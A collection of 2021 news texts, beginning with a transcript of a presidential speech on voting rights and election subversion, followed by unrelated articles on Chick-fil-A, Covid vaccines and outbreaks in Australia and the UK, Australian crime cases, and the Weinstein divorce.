Just weeks ago, the Supreme Court yet again weakened the Voting Rights Act and upheld what Justice Kagan called, quote, a significant race-based disparity in voting opportunities.

The Courts decision, as harmful as is, does not limit the -- Congress ability to repair the damage done. Thats the important point. It puts the burden back on Congress to restore the Voting Rights Act to its intended strength.

As soon as Congress passes the For the People Act and the John Lewis Voting Rights Advancement Act, I will sign it and let the whole world see it. (Applause.) That will be an important moment.

And the world is wondering -- the world is wondering -- and Dwight knows what Im talking about, for real. You know, the world is wondering, What is America going to do?

But we also have to clear-eyed about the obstruction we face. Legislation is one tool, but not the only tool. And its not the only measure of our obligation to defend democracy today.

For example, Attorney General Merrick Garland announced that the United States Department of Justice is going to be using its authorities to challenge the onslaught of state laws undermining voting rights in old and new ways. (Applause.)

The focus -- the focus will be on dismantling racially discriminatory laws, like the recent challenge to Georgias vicious anti-voting law.

The Department of Justice will do so with a voting rights division that -- at my request -- is doubling its size in enforcement staff. (Applause)

Civil rights groups -- civil rights groups and other organizations have announced their plans to stay vigilant and challenge these odious laws in the courts.

In Texas, for example, Republican-led state legislature wants to allow partisan poll watchers to intimidate voters and imperil impartial poll workers. They want voters to dive [drive] farther and be able to be in a position where they wonder whos watching them and intimidating them; to wait longer to vote. To drive a hell of lot lo- -- excuse me -- a long way -- (laughter) -- to get to vote. They want to make it so hard and inconvenient that they hope people dont vote at all. Thats what this is about.

This year alone, 17 states have enacted -- not just proposed, but enacted -- 28 new laws to make it harder for Americans to vote, not to mention -- and catch this -- nearly 400 additional bills Republican members of the state legislatures are trying to pass.

The 21st century Jim Crow assault is real. Its unrelenting, and were going to challenge it vigorously.

While -- (applause) -- while this broad assault against voting rights is not unprecedented, its taking on a new and, literally, pernicious forms.

Its no longer just about who gets to vote or making it easier for eligible voters to vote. Its about who gets to count the vote -- who gets to count whether or not your vote counted at all. Its about moving from independent election administrators who work for the people to polarized state legislatures and partisan actors who work for political parties.

To me, this is simple: This is election subversion. Its the most dangerous threat to voting and the integrity of free and fair elections in our history. Never before have they decided who gets to count -- count -- what votes count.

Some -- some legi- -- state legislatures want to make it harder for you to vote. And if you vote, they want to be able to tell you your vote doesnt count for any reason they make up.

They want the ability to reject the final count and ignore the will of the people if their preferred candidate loses.

And theyre trying -- not only targeting people of color, theyre targeting voters of all races and backgrounds. Its with a simple target: who did not vote for them. Thats the target.

Its unconscionable. I mean, really, I -- its hard to -- its hard to declare just how critical this is. Its simply unconscionable.

Weve got to shore up our election system and address the threats of election subversion, not just from abroad -- which I spent time with Putin talking about -- but from home. From home.

We must ask those who represent us at the federal, state, and local levels: Will you deny the will of the people? Will you ignore their voices?

We have to ask: Are you on the side of truth or lies; fact or fiction; justice or injustice; democracy or autocracy? That's what it's coming down to.

Which brings me to perhaps the most important thing we have to do: We have to for- -- forge a coalition of Americans of every background and political party -- the advocates, the students, the faith leaders, the labor leaders, the business executives -- and raise the urgency of this moment.

Because as much as people know they're screwing around with the election process, I don't think that most people think this is about who gets to count what vote counts -- literally, not figuratively. You vote for certain electors to vote for somebody for President. State legislator comes along -- under their proposal -- and they say, "No, we don't like those electors. We're going to appoint other electors who are going to vote for the other guy or other woman."

Because heres the deal: In 2020, democracy was put to a test -- first by the pandemic; then by a desperate attempt to deny the reality and the results of the election; and then by a violent and deadly insurrection on the Capitol, the citadel of our democracy.

I've been around a long time in public life. I thought I've seen it all or most of it all. But I never thought I'd see that, for real.

And in spite of what you see on television -- and you saw it -- you have senators saying it was just a day at the Capitol, just people visiting the Capitol.

Folks -- but we met the test. Because of the extraordinary courage of election officials -- many of them Republicans; our court system; and those brave Capitol police officers -- because of them, democracy held.

Look how close it came. I mean, for real, how close it came. We're going to face another test in 2022: a new wave of unprecedented voter suppression, and raw and sustained election subversion. We have to prepare now.

As Ive said time and again: No matter what, you can never stop the American people from voting. They will decide, and the power must always be with the people.

Thats why, just like we did in 2020, we have to prepare for 2022. We'll engage in an all-out effort to educate voters about the changing laws, register them to vote, and then get the vote out.

We'll encourage people to run for office themselves at every level.

We will be asking my Republican friends -- in Congress, in states, in cities, in counties -- to stand up, for God's sake, and help prevent this concerted effort to undermine our elections and the sacred right to vote. (Applause.) Have you no shame? (Applause.)

Whether its stopping foreign interference in our elections or the spread of disinformation from within, we have to work together.

Vice President Harris and I will be making it clear that theres real peril in making raw power, rather than the idea of liberty, the centerpiece of the common life.

The Founders understood this. The women of Seneca Falls understood this. The brave, heroic foot soldiers of the Civil Rights Movement understood this. So must we.

This isnt about Democrats and Republicans; its literally about who we are as Americans. It's that basic. Its about the kind of country we want today, the kind of country we want for our children and grandchildren tomorrow. And quite frankly, the whole world is watching. Folks -- (applause).

Im not being sentimental. Im not preaching to you. Im just giving it to you straight, as I promised I would always do -- lay things out on the line and honor your trust with trust [truth].

So hear me clearly: There is an unfolding assault taking place in America today -- an attempt to suppress and subvert the right to vote in fair and free elections, an assault on democracy, an assault on liberty, an assault on who we are -- who we are as Americans.

For, make no mistake, bullies and merchants of fear and peddlers of lies are threatening the very foundation of our country.

It gives me no pleasure to say this. I never thought in my entire career Id ever have to say it. But I swore an oath to you, to God -- to preserve, protect, and defend the Constitution. And thats an oath that forms a sacred trust to defend America against all threats both foreign and domestic. (Applause.)

The assault on free and fair elections is just such a threat, literally. I've said it before: We're are facing the most significant test of our democracy since the Civil War. That's not hyperbole. Since the Civil War. The Confederates back then never breached the Capitol as insurrectionists did on January the 6th.

Im not saying this to alarm you; Im saying this because you should be alarmed.

Im also saying this: Theres good news. It doesnt have to be this way. It doesn't have to be, for real. We have the means. We just need to show the will -- the will to save and strengthen our democracy.

We did it in 20- -- we did it in the 2020. The battle for the soul of America -- in that battle, the people voted. Democracy prevailed. Our Constitution held. We have to do it again.

My fellow Americans, it requires fair-mindedness; devotion to justice; corny as it sounds, a love of country. It requires us to unite in common purpose, to declare here and now: We, the people, will never give up. (Applause.) We will not give in. We will overcome. We will do it together. And guaranteeing the right to vote, ensuring every vote is counted has always been the most patriotic thing we can do. (Applause.)

Just remember, our late friend John Lewis said, "Freedom is not a state; it is an act." "Freedom is not a state; it is an act." And we must act, and we will act. For our cause is just, our vision is clear, and our hearts are full. (Applause.)

For "We the People," for our democracy, for America itself, we must act. (Applause.)

God bless you all. And may God protect our troops and all those stand watch over our democracy. (Applause.) But act. We've got to act. Thank you. (Applause.)
A New York Democrat is campaigning to prevent Chick-fil-A from being allowed to open at rest stops in the state, accusing the company's CEO of being homophobic.

Harry Bronson, a state assembly member, wrote to Governor Andrew Cuomo urging him not to grant Chick-fil-A permission to operate at the state rest stops.

Chick-fil-A has often come under fire from liberals for donations to Christian groups accused of anti-LGBTQ views, such as the Salvation Army and Christian Athletes.

The chief executive, Dan Cathy, whose father, S. Truett Cathy, founded the $8.4 billion company in 1946, has publicly disparaged LGBTQ rights.

Chick-fil-A is hoping to be awarded a contract to open at rest stops across New York state, as part of a $450 million upgrade to the highway facilities. Some Democrats are unhappy at the fast food chain's potential involvement, accusing the company of being homophobic

In 2019 the company announced a donation policy shift, to move away from contentious issues and focus instead on initiatives assisting in 'the areas of education, homelessness and hunger.'

The state is currently considering a $450 million plan to upgrade 27 rest stops across their highway network.

'Chick-fil-A, through the charitable wing of its business, has a history of donating millions of dollars to organizations that are discriminatory and anti-LGBTQ organizations,' wrote Bronson.

'It's on state thruway authority property and they are leasing it, so it's in essence the state saying, 'We are going to offer them an opportunity for them to earn millions and millions of dollars,' even though we know what the history is.'

Dan Cathy, the CEO of Chick-fil-A, has been accused of making anti LGBTQ statements

Harry Bronson, a Democrat assemblyman from New York, is campaigning to prevent Chick-fil-A from opening in state rest stops

His letter was signed by two other Democrats in the state assembly - Deborah Glick and Joanne Mahoney.

They have now begun a petition.

Lindsey Graham, the Republican senator for South Carolina, was among those criticizing the New York Democrats' move.

'I hope this threat is all bluster from left-wing New York politicians,' Graham tweeted.

'If such a disastrous move ever came about  banning a commercial business due to them exercising their First Amendment rights  it would set a horrible precedent.'

Bill de Blasio, the mayor of New York, also tried to ban Chick-fil-A from the city over Cathy's stance.

His efforts flopped and New York City is now the home to the world's largest Chick-fil-A.

Chick-fil-A disputed that it currently has a political agenda.

'Chick-fil-A is excited about the partnership and the opportunity to further serve the residents of New York,' the company said in a statement.

'We want to be clear that Chick-fil-A does not have a political or social agenda, and we welcome everyone in our restaurants.'
A Byron Bay woman who caught Covid in Germany and continues to have symptoms more than a year later is still reluctant to have a vaccine despite evidence they work.

Mirabai Nicholson-McKellar caught the disease aged 34 in Berlin in March 2020, the same month the World Health Organisation declared a pandemic, and initially had flu-like symptoms.

'It was Friday the 13th of March. I woke up that morning and I just felt terrible,' she told the ABC's Cracking Covid documentary.

'I had this really severe headache, kind of aching all through my body, like "maybe I'm getting the flu".'

Byron Bay woman Mirabai Nicholson-McKellar caught Covid in Germany and continues to have symptoms more than a year later is still reluctant to have a vaccine despite evidence they work

Five days later, she lost her sense of taste but in those early days, health authorities across the world only tested people if they had experienced a sore throat or persistent coughing.

The beekeeper flew back to Australia and self-isolated at a house in Byron Bay.

After initially feeling better, she relapsed to the point a phone conversation caused her to lose her breath.

The symptoms continued for months and even into 2021, with Ms Nicholson-McKellar's own doctor Joel Hisskink saying the disease would be unlikely to give her immunity from re-infection.

'It's been a remarkably slow recovery. It appears at the moment that her natural immunity to Covid following the infection she has is quite low,' he said.

'Her anti-body levels are quite low and her T cells are quite low, and that's a risk.

'Her low immunity status at the moment leaves her susceptible to reinfection and based on that, the best protection that Mirabai has is vaccination.'

Despite a recommendation from her GP to get a Covid vaccine, Ms Nicholson-McKellar, whose parents didn't believe in vaccination, is hesitant to get the jab.

She caught the disease aged 34 in Berlin in March 2020, the same month the World Health Organisation declared a pandemic, and initially had flu-like symptoms

'I know so many people have put so much energy into developing the vaccine but it just feels like it has happened really quickly so that makes me nervous,' she said.

Doherty Institute director Professor Sharon Lewin said both the AstraZeneca and Pfizer vaccines significantly reduced the likelihood of hospitalisation.

A single dose of AstraZeneca reduces the risk of symptomatic infection by 30 per cent which increases to 67 per cent after two doses, the Australian Technical Advisory Group on Immunisation said on Tuesday.

One dose reduces the risk of hospitalisation by 71 per cent, which increases to 92 per cent after two doses.

Five days later, she lost her sense of taste but in those early days, health authorities across the world only tested people if they had experienced a sore throat or persistent coughing

With Pfizer in short supply until at least August, doctors are now indemnified if they give AstraZeneca to patients, with ATAGI recommending it in Sydney's south-west, where a majority of the 97 new cases of the more contagious Indian Delta stain were detected overnight.

The AstraZeneca vaccine, however, has been linked to four deaths in Australia, including a 72-year-old Adelaide woman who died this week, with blood clotting fatalities rated as a one in 2.5million chance.

The risk of a blood clot, known as TTS or Thrombosis with thrombocytopenia syndrome, stands at three in 100,000.

ATAGI in June recommended the AstraZeneca vaccine for those under 60.

The beekeeper flew back to Australia and self-isolated at a house in Byron Bay. After initially feeling better, she relapsed to the point a phone conversation caused her to lose her breath. Despite her doctor's advice to get vaccinated, she is 'nervous' they were developed quickly

Two months earlier, ATAGI had recommended Pfizer over AstraZeneca for those under 50, just days before a 48-year-old diabetic woman from the Central Coast, north of Sydney, died of a blood clot five days after taking AstraZeneca.

The Indian Delta strain is twice as contagious as the original Alpha strain from China, with a reinfection rate of six, which has seen New South Wales Premier Gladys Berejiklian announce greater Sydney's lockdown would be extended by a fortnight to July 30.

Before Sydney went into lockdown on June 26, Covid fatigue was setting in.

Just 63 per cent of people practised social distancing in June 2021, compared with 88 per cent in September 2020 when Melbourne was still in a three-month lockdown, new Australian Bureau of Statistics data has revealed.

Only 33 per cent of Australian adults reported receiving one jab of a Covid vaccine.

Just nine per cent of Sydney residents are fully vaccinated.
The Republican National Committee on Tuesday night aired an advert that accused Democrats of having 'lied' about Georgia's voting laws, which sparked Major League Baseball's decision to move their All-Star game away from the state and hold it in Colorado instead.

Georgia's Republican governor in March signed into law a bill which Democrats said curtailed voting rights.

Amid the outcry, film studios said they would boycott the state and stop filming there, and MLB abandoned plans to play their All-Star game in Atlanta.

On Tuesday, while the game was taking place, the RNC aired their campaign.

Melvin Everson, a Republican former member of the state House and a pastor, said during the advert: 'Democrats stole our All-Star Game to push their divisive political agenda.

Melvin Everson, a minister from Georgia and former state Republican in their House, starred in the 30-second advert produced by the RNC, which aired on Monday and Tuesday

Everson appeared in the advert, which aired on Monday and Tuesday, and said Democrats had stolen the All-Star Game from his state

On Tuesday the All-Star game was played in Denver, Colorado rather than Atlanta, where it was originally due to be staged

'Politicians and corporations lied, while black communities got hurt the most.

'Even though a majority of black voters support laws like voter ID.

'To Democrats it's just a game. But we're the ones who got played.'

The advert aired repeatedly on CNN on Tuesday night, as well as other channels. The RNC spent seven figures on the advert campaign, Fox News reported.

Ronna McDaniel, the chair of the RNC, said that the Democrat-orchestrated boycott of Georgia was hurting the community.

The All-Star game drew a large crowd to Denver, Colorado - to the anger of Atlanta, Georgia, which missed out

'The lies told by Democrat politicians and corporations about election integrity have real-life consequences, hurting Georgia families,' she said in a statement.

'Democrats don't care about the costs of their lies because their sole agenda is more power.

'The American people will hold Democrats accountable for their lies about election integrity because they know the security of our elections is too important.'

The Justice Department filed a lawsuit looking to block the Georgia law.

A federal judge last week ruled against a request to block portions of the law, which were connected to the observing of votes before upcoming runoff elections.
Australia's chronic shortage of skilled workers amid the Covid pandemic may be addressed by quarantining overseas labour on Christmas Island.

The plan for the workers to undertake their quarantine period on the island before entering Australia was being considered by the Department of Home Affairs and might be in operation by January next year, Sky News Australia reported.

Idle cruise ships, other Commonwealth properties and the Howard Springs facility in the Northern Territory were other options reportedly being considered to alleviate the nation's labour shortage.

'There is literally, tragically, millions and millions of dollars each week around the country that is wasting on vines, on trees, because they just can't pick that fruit and get that produce to market,' Defence Minister Peter Dutton told Sky.

'There are different ways as we go through this, as time goes on, about ways in which we'll be able to bring people in.'

A plan for skilled overseas workers to quarantine on Christmas Island before entering Australia was being considered by the Department of Home Affairs

Idle cruise ships could also be part of a plan to get more skilled workers into Australia

Christmas Island had most recently been used to keep the Tamil family from Biloela offshore, until they were recently relocated to Perth on temporary resident visas.

The shut-down of international travel, robbing Australia of skilled workers, students and migrants, had left the mining and agricultural sectors in a state of suspension, unable to begin new projects or reap bumper crops.

West Australian mining industry figures recently said resources projects worth $140billion were in the pipeline but required 40,000 workers by 2023 to be activated.

Only fill 7,000 of those jobs were likely to be filled by domestic labour, the Chamber of Minerals and Energy WA said.

In agriculture, less than a quarter of the usual number of backpackers employed to pick fruit and other produce were expected in Australia this year.

WA mining projects require up to 40,000 workers in the next two years, of which only about 7,000 would come from domestic labour (file image)

If it proceeds, quarantining at the Christmas Island facility would only occur between July and October because of extreme summer heat outside of those months.

Mr Dutton said that in any event, Christmas Island was likely to be upgraded in case of the arrival of refugees by sea who would need to be accommodated in a 'Covid-safe' environment.

Using the Howard Springs facility south-east of Darwin would be a controversial option because it is the dedicated quarantine facility for returning Australians.

The recent decision to halve the intake of the more than 30,000 Australians still stranded overseas means any decision to use the facility for skilled workers might create a perception that they were being favoured over returning citizens.

'We won't displace Australian citizens and that's been the approach we've taken from day one,' Mr Dutton said.
How to tell if you have had the Indian-made Astrazeneca vaccine Every AZ vaccine administered in the UK will appear under the same name - Vaxzevria - in medical records and on the NHS app. The only way you can find out if your jab was in India is by checking the batch number. Those who were given the jab will have the numbers 4120Z001, 4120Z002 or 4120Z003. This appears on the vaccination record card you will have received when you got your jab. For those who did not hold on to their card, they can find the batch number on their NHS Covid pass letter, which can be downloaded online. The letter is used for travelling abroad or going to mass events in future, which may require proof of vaccination. You can get your pass letter if you've had two doses of the vaccine in England. To apply for a physical pass letter you can visit the NHS website by clicking here. Or you can download a digital version on the NHS App or the online Covid Pass service. Advertisement

Authorities in Malta have reversed their travel advice regarding an Indian-made version of the AstraZeneca vaccine after a British couple were turned away from a flight to the island, despite both having two jabs.

Steve and Glenda Hardy, who received doses of the vaccine in March, were barred from flying by staff working for travel operator TUI at Manchester Airport on Friday.

The retired couple, from Hull, were trying to visit their son, who they have not seen for over a year.

The European Medicines Agency does not yet recognise the vaccine which is made at the Serum Institute of India, even though it is just as effective as AstraZeneca doses made elsewhere.

As a result, it is not recognised by the EU's Digital Covid Certificate which allows those who are fully vaccinated to move through Europe without having to quarantine or undergo further testing.

Some European nations have unilaterally pledged to accept the jab but Malta  one of a handful of countries on the Government's green list of travel destinations  did not initially agree to admit visitors who have had it.

Now though, it has U-turned on its policy after the Government confronted Maltese officials.

Transport Secretary Grant Shapps tweeted: 'The Maltese authorities have amended their travel advice so anyone who has an Oxford/AstraZeneca vaccine in the UK (regardless of manufacture location) is able to travel without being turned away - with all vaccines having gone through rigorous safety and quality checks.'

Mrs Hardy, 63, had earlier said: 'We haven't seen our son for a year. My son and wife were both absolutely in pieces. I drove home and I still don't know how I managed.

'A TUI rep checked our certificates and we were told we couldn't travel because Malta weren't accepting the vaccine we had been given.

'That was the first we had heard of it. We had done everything possible - we had paid for the PCR tests, we had downloaded the NHS app and printed off the letter - and we had been talking to TUI every day leading up to our flight.

'It came as a surprise because we had been told weeks ago that none of the Indian-made vaccines were being issued here and then Boris Johnson said it would not be a problem.

'People are going everywhere but we are not allowed to see our son in Malta because they are not accepting it.

'We didn't even know we had been given it. We just did what we were told - we went and got vaccinated.

Steve and Glenda Hardy were turned away at Manchester Airport because Malta would not allow them to enter after they were unknowingly given an Indian-made version of the vaccine

Matthew White, a naturalised Maltese resident originally from the UK, said he was 'very grateful' the change had been made but added that it was 'about time'.

Malta requires travellers to have had two jabs, but over the weekend the 50-year-old noticed a notification on Malta International Airport's website stating that three doses of the AstraZeneca vaccine would not be accepted - including his own Covishield jab.

Responding to Mr Shapps's update, Mr White said: 'It is about time he answered. I have been tagging him and the so-called vaccines minister (on Twitter) for days.

'We are very grateful to the Maltese authorities for their change of heart on this as this will enable us to return safely home.

'We fully support the strategy of double-vaccination entry only to help protect our beautiful islands and people from the ongoing pandemic.'

Prime Minister Boris Johnson had previously assured that it would not be an issue for Britons travelling around the EU.

Earlier this month, Mr Johnson told Sky News: 'I see no reason at all why the MHRA-approved vaccines should not be recognised as part of the vaccine passports.

'I am very confident that will not prove to be a problem.'

It came as ministers were said to be considering taking the Balearic Islands off the green list and putting them back on to the amber list.

The retired couple, from Hull, were trying to visit their son, who they have not seen for over a year

Transport Secretary Grant Shapps today said Britons who received doses of the jab made in India should not be prevented from travelling. Mr Shapps told the BBC the Government will take up the issue with authorities in Malta, adding: 'It is not right and it shouldn't be happening'

TUI refunded the Hardys' tickets after turning them away but the couple were devastated

The European Medicines Agency does not yet recognise the vaccine which is made at the Serum Institute of India, even though it is just as effective as AstraZeneca doses made elsewhere

The European Medicines Agency does not recognise the vaccine produced at the Serum Institute of India (SII), even though it is no less effective than other jabs. Pictured: Stock image

Ten EU countries - Spain, Greece, Austria, the Netherlands, Estonia, Germany, Slovenia, Iceland, Switzerland and Ireland - have dismissed suggestions that Britons jabbed with the SII AstraZeneca doses would be locked out of summer holidays.

Travel advice on the TUI website says the SII jabs can be identified by their batch numbers, which are written on the card given after vaccinations and printed on NHS certificates proving inoculation.

'Entry will not be allowed if the vaccine batch on your certificate is from one of the following: 4120Z001, 4120Z002, 4120Z003,' according to Malta's travel guidelines, which was updated on July 7.

In a further blow for would-be holidaymakers, the Balearic Islands could be moved on to the amber list.

Just weeks after being declared Covid-safe, the islands of Ibiza, Majorca, Menorca and Formentera are on the cusp of being taken off the green list.

It means thousands of youngsters who aren't fully vaccinated will have to isolate for ten days after returning from their breaks following a surge in cases.

The popular Spanish islands were added to the green list only three weeks ago - but travellers were warned that they could drop back to amber at any moment.

A final decision on the latest update to the traffic light system is set to be approved by ministers today.

But under rules coming in next week, double-jabbed Brits will still be able to take advantage of the holiday destinations without the need to quarantine on return.

However, this will not apply to younger people who have not had both jabs - and evicted Love Island stars who have not been fully vaccinated will be forced to isolate when they are booted out of the TV reality show villa.

Cases on the islands have soared to 258 cases per 100,000 people.

A source told The Sun: 'It's all still up for discussion, but the figures aren't great, which is why it was on the watch list in the first place.'
A call centre worker accused of stalking and murdering his ex-colleague has tried to kill himself in a prison exercise yard.

Luay Sako allegedly stabbed Celeste Manno, 23, to death as she slept at her family's home in Mernda in Melbourne's north on November 16 last year.

Sako, 35, attempted to take his own life at Melbourne Assessment Prison - a maximum security jail - just days before he was due to appear in court on Tuesday, prison sources told The Herald Sun.

He was treated in hospital and is now being monitored in a specially-designed observation cell.

'Staff did not see him and were slow to react,' one source said.

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Pictured: Celeste Manno. Her accused murderer has attempted to kill himself in a jail exercise yard, prison sources said

'He went to hospital and is currently in a muirhead cell.'

He was reportedly using an exercise yard reserved for prisoners being kept in protective custody.

Sako had allegedly been stalking Ms Manno for a year before her death.

Sako, from Roxburgh Park in Melbourne's far north, was on Tuesday listed to attend a committal mention at Melbourne Magistrates Court via audio visual link.

Magistrate Donna Bakos adjourned the matter for 10 weeks due to delays in evidence before it was revealed the alleged killer had refused to attend the court hearing.

Ms Manno's mother, Aggie Di Mauro, asked Ms Bakos on the virtual hearing link how Sako could refuse to attend.

Sako (pictured) was treated in hospital after trying to kill himself and is now being monitored in a specially-designed observation cell, sources said

'You can imagine how I would see this as a cowardly act not to attend his own hearing,' Ms Di Mauro said to the magistrate.

'I thought they cannot refuse to attend court. How come this is available?'

'You're correct - when they're charged with offences they don't have a choice,' Ms Bakos responded.

Luay Sako allegedly stabbed Ms Manno, pictured with her partner Chris Ridsdale, to death as she slept at her family's home in Mernda in Melbourne's north on November 16 last year

Aggie Di Mauro (pictured left), the mother of Ms Manno (pictured right) has slammed her accused daughter's killer after he refused to attend a court hearing, calling it a 'cowardly act'

'But because this matter is being adjourned, and because he's represented, it's not in anyone's interest for him to be dragged in cuffs to the room to be told the matter is being adjourned.'

Ms Manno was a university graduate, with family describing her as universally loved and intelligent.

Sako will next face court on September 20.
Tough Covid restrictions are expected to be imposed on Melbourne in the coming days after the city recorded eight new cases.

Victoria is desperately hoping to avoid yet another outbreak that could prompt a fifth lockdown after Sydney's Delta plague spilled over the border.

Three removalists from Sydney picked up furniture from a flat in Melbourne and dropped it of in Adelaide last week, while two were infected with coronavirus.

Covid requirements such as mask wearing and social distancing were reportedly not followed, and seven people in the apartment building have since tested positive.

The worrying development has put several venues in the city on a Covid exposure alert, including two packed shopping centres.

Melbourne could see a string of restrictions being enforced in the coming days after eight new Covid-19 cases were recorded

Melbourne is as a result staring down the barrel of another wave of restrictions just as it relaxed measures form its last outbreak, and potentially a fifth lockdown.

Visitors to homes and the number of patrons allowed inside venues could be reduced as the city grapples with the new outbreak.

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The changes could come into effect as early as Thursday, industry figures told the Herald Sun.

Venues will likely only allow seated dining and dance floors will again be banned.

Victorian Government is understood to be weighing up which restrictions need to be enforced to prevent the spread of the virus and prevent a full-blown outbeak.

Four of the new cases recorded on Wednesday are residents on the third floor of the Ariele Apartments in Maribyrnong, which has been in lockdown since Monday night after the infected removalists from Sydney visited the building.

Among those cases is a man in his 60s, who subsequently infected his parents, aged 89 and 90.

The man also attended an AFL match between Carlton and Geelong on Saturday and Highpoint Shopping Centre on Friday.

DFU Uni Hill shopping centre in Bundoora has also been exposed after an infected case shopped at Nike, Adidas, Asics, Puma, Cotton On and Connor.

Three other new cases are from another apartment in the building. The two infected apartments are on the same floor.

Victoria has recorded eight new coronavirus cases on Wednesday, with half linked to ground-zero apartment block Ariele Apartments in Maribyrnong (pictured)

Thousands of supporters in the members section of the MCG at the Carlton vs Geelong game on Saturday are now isolating after an infected person attended the match

MELBOURNE'S EXPOSURE SITES Highpoint Shopping Centre: Tier 1: The Reject Shop, July 9 between 11.30am and 12.10pm Tier 1: SkinKandy, July 9 between 11.15am and 12.35pm Tier 2: North Carpark Level 1, July 9 between 11.10am and 11.30am AND 12pm-12.30pm Tier 2: North Carpark Level 2, July 9 between 12pm and 12.30pm Tier 2: MCC Members Level 2 - Saturday July 10 Tier 3: MCC Members Level 3 - Saturday July 10 Advertisement

Covid-19 commander Jeroen Weimar urged anyone who visited an exposure site or has symptoms to get tested.

'The next two days are particularly critical. We are right on the heels of this particular outbreak,' he told reporters on Wednesday.

Some 200 residents of the Ariele Apartments were forced into 14 days of quarantine after a group of Sydney removalists did a pick up at the complex on Thursday while infectious.

The trio also did a drop off at a Craigieburn home the same day and visited several petrol stations and fast-food outlets, which are listed as tier-one exposure sites.

A resident of the building aged in his 60s, as well as his parents aged 89 and 90, have all tested positive as the complex remains locked down

Mr Weimar confirmed the three removalists, two of whom tested positive, weren't wearing masks, in a breach of their workers permit conditions.

'There was a permit in place and the permit has very clear obligations within it,' he said.

'You're in virtual isolation when you're in Victoria, you need to wear a mask.

'You need to be socially distanced, you need to stay in your cabin all the time and you're not doing five hours of removalist work in an apartment building  so we're concerned about that.'

Dr Weimar also said it has been a 'frustrating and challenging' process interviewing the removalists as they attempt to identify further exposure sites and close contacts.

'Well they're not being deliberately forthcoming, let me put it that way,' he said.

The trio are believed to have slept in their trucks on Thursday night before travelling to South Australia the next morning.

It's also understood the removalists showered and had a meal at the Mobil service station in Ballan, about 80km north of Melbourne on Thursday between 5pm to 7pm.

The last remaining case is a man in his 30s who attended Coles Craigieburn at the same time as a member of a family who recently returned from Sydney infected with Covid-19.

Three members of the family from the City of Hume flew into Melbourne on July 4, while a fourth drove back on Thursday.

The family had red zone permits to return to Victoria, meaning they have been required to self-isolate at home since their arrival.

A pedestrian is seen in Melbourne's CBD last week after restrictions were eased. However there are now fears the city could once again have lockdown measures imposed

A resident of the building aged in his 60s, as well as his parents aged 89 and 90, have all tested positive. Three other new cases are from another household in the building

INFECTED MELBOURNE FAMILY CLUSTER A family of four returned from Sydney, three by car and one by plane on July 4 and July 8. All four have progressively tested positive since Sunday One family member, however, visited Coles Craigieburn and a Metro petrol station in Broadmeadows, the latter a tier-one exposure site A man in his 30s who attended Coles Craigieburn at the same time as one of the family members has tested positive The family had red zone permits to return to Victoria, meaning they have been required to self-isolate at home since their arrival Exposure sites: Coles Craigieburn Central visited by one of the family members on Saturday, July 10, between 5.28pm and 6.38pm Metro Petroleum Broadmeadows visited by one of the family members on Sunday, July 11, between 1.19pm and 2.04pm Advertisement

One family member, however, visited Coles Craigieburn and a Metro petrol station in Broadmeadows - the latter a tier-one exposure site.

After initially testing negative when they first returned, all four have since tested positive for the virus.

There are also now 2,000 AFL fans who have been potentially exposed to the virus with supporters in the members section of the MCG at the Carlton vs Geelong game on Saturday being identified as close contacts.

These footy fans are now in isolation.

Level 2 of the MCC Members' Reserve has been listed as a Tier 2 exposure site, meaning people must seek a test and isolate until they receive a result.

Anyone on Level 3 must monitor symptoms after it was listed as a low-risk Tier 3 exposure site.
A man has been charged with the murder of underworld figure Mejid Hamzy, who was gunned down outside his southwest Sydney home last year.

Hamzy, the sibling of Brothers 4 Life gang leader Bassam Hamzy, was ambushed early in the morning in front of his Condell Park home last October and died at the scene.

Police raided six properties across Greater Sydney on Wednesday morning and arrested two men.

Ezzedine Omar, 38, was dragged out of his Liverpool home in Sydney's south-west wearing just black underwear before he was arrested and charged with murder on Wednesday.

Ezzedine Omar, 38, was arrested at a Liverpool residence and charged with murder on Wednesday morning - police dragged him out of a residence in his underwear

The victim was underworld figure Mejid Hamzy (pictured) who was allegedly executed last year outside his home in southwest Sydney

Brothers 4 Life gang leader Bassam Hamzy (pictured) shot 18-year-old Kris Toumazis after a dance-floor spat in a nightclub on Oxford St, Sydney back in 1998 - he then fled to Lebanon

He was charged with 16 other offences including driving recklessly during a police pursuit and knowingly dealing with the proceeds of crime.

His older brother Mohammed Omar, 44, who police allege was involved in concealing the BMW used in the shooting, was charged with a raft of drug offences.

He was arrested in Croydon and charged with six offences including manufacturing and supplying a prohibited drug.

Police raided six properties across Greater Sydney as part of their investigation and arrested two men

State Crime Commander, Acting Assistant Commissioner Darren Bennett, said the arrests came after 10 months of investigations.

'Investigators have reviewed hours of CCTV vision and spoken to numerous witnesses to ensure those responsible are charged and put before the courts,' Acting Assistant Commissioner Bennett said.

Police investigating Hamzy's murder believe the incident is linked to a gang war between the underworld Alameddine and Hamzy families.

Police in tactical gear conducted the raids in which two men were arrested (pictured)

A Sydney man has been charged over the shooting and is being held in custody

A friend of the Alameddine family was assaulted just days before the murder.

Police last week released CCTV footage of cars they believed were used in the murder.

Last month, Hamzy's cousin - Bilal Hamze - was ambushed and executed by gunmen in the heart of Sydney's CBD, in what police feared was an escalation of violence between the families.

Police last week released CCTV of cars they understood to be used in the alleged drive-by shooting
Georgina Chapman has officially finalized her divorce from Harvey Weinstein.

Chapman filed for divorce in 2017 after dozens of women came forward with accusations of sexual misconduct against the media mogul, 69.

Weinstein was convicted of rape and criminal sexual assault in New York in 2020 and sentenced to 23 years behind bars.

Chapman, 45, has been dating actor Adrien Brody, while she waited for her contested divorce to go through the courts.

This week, it was finalized at Manhattan Supreme Court, where court records show the case is now listed as 'disposed', Page Six reports.

Chapman, a British-born designer, filed for divorce in 2017 citing Weinstein's 'unforgivable actions' as the reason for their break-up.

Georgina Chapman has officially finalized her divorce from Harvey Weinstein

Following the split, Chapman took their two children - India, 10, and Dashiell, 8 - from their Los Angeles home and sold the property.

'My heart breaks for all the women who have suffered tremendous pain because of these unforgivable actions', she said.

'I have chosen to leave my husband. Caring for my young children is my first priority.'

At the time, Weinstein said he supported her decision but added he hoped they could 'rebuild' their relationship.

'I am in counseling and perhaps, when I am better, we can rebuild,' he said.

'I understand, I love her and I love our children and hopefully, when I am better, I will be in their lives again.'

They reached a divorce settlement in January 2018 that granted Chapman full custody and between $15 million to $20 million.

Chapman has also secured their $15 million West Village townhouse and $12 million Hamptons beach houses, as well as other payments.

Weinstein and Chapman at the OK! Magazine and Gen Art party in New York in 2008. The couple divorced in 2017

Harvey Weinstein and Georgina Chapman at the Marchesa 2015 after party in London (left) and (right) at the amfAR Gala Cannes in 2017

